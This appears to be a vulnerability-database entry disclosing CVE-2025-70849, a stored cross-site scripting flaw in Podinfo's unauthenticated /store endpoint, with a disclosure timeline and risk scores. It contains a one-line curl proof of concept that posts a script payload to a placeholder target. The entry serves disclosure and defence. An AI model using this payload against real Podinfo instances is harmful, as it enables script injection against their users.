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📄 Podinfo 6.10.0 Cross Site Scripting
| Reporter | Title | Published | Views | Family All 22 |
|---|---|---|---|---|
 | Exploit for Unrestricted Upload of File with Dangerous Type in Stefanprodan Podinfo | 16 May 202602:19 | – | githubexploit |
| Exploit for CVE-2025-70849 | 3 Feb 202610:28 | – | githubexploit |
 | CVE-2025-70849 | 3 Feb 202600:00 | – | attackerkb |
 | CVE-2025-70849 | 15 Feb 202620:28 | – | circl |
 | podinfo 安全漏洞 | 3 Feb 202600:00 | – | cnnvd |
 | CVE-2025-70849 | 3 Feb 202600:00 | – | cve |
 | CVE-2025-70849 | 3 Feb 202600:00 | – | cvelist |
 | EUVD-2025-206697 | 3 Feb 202600:00 | – | euvd |
 | Podinfo affected by Arbitrary File Upload that leads to Stored Cross-Site Scripting (XSS) | 3 Feb 202618:30 | – | github |
 | CVE-2025-70849 | 3 Feb 202618:16 | – | nvd |
10
# CVE-2025-70849: Stored XSS in Podinfo
## Summary
A security vulnerability (CWE-79) was identified in **Podinfo**, a web application for demonstrating Kubernetes microservices. The `/store` feature allows unauthenticated users to upload arbitrary HTML/JS content, leading to Stored XSS.
## Vulnerability Details
- **CVE ID:** CVE-2025-70849
- **Product:** Podinfo
- **Affected Endpoint:** `/store`
- **Vulnerability Type:** Stored Cross-Site Scripting (XSS)
- **Affected Versions:** `<= 6.10.0`
## Proof of Concept (PoC)
1. Send the malicious payload:
```bash
curl -X POST https://<target>/store -H "Content-Type: application/text" -d '<html><script>alert("CVE-2025-70849")</script></html>'
```
2. Access the returned hash: https://<target>/store/<hash>
## Timeline
- **Discovery:** Sep 2025
- **Vendor Notified:** 25 OCT 2025
- **Vendor Response:** Acknowledged; stated no current timeline for fix.
- **Public Disclosure:** February 2026
Disclaimer
This research is for educational purposes only.
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03 Feb 2026 00:00Current
4.9Medium risk
Vulners AI Score4.9
CVSS 3.16.1
EPSS0.00016
SSVC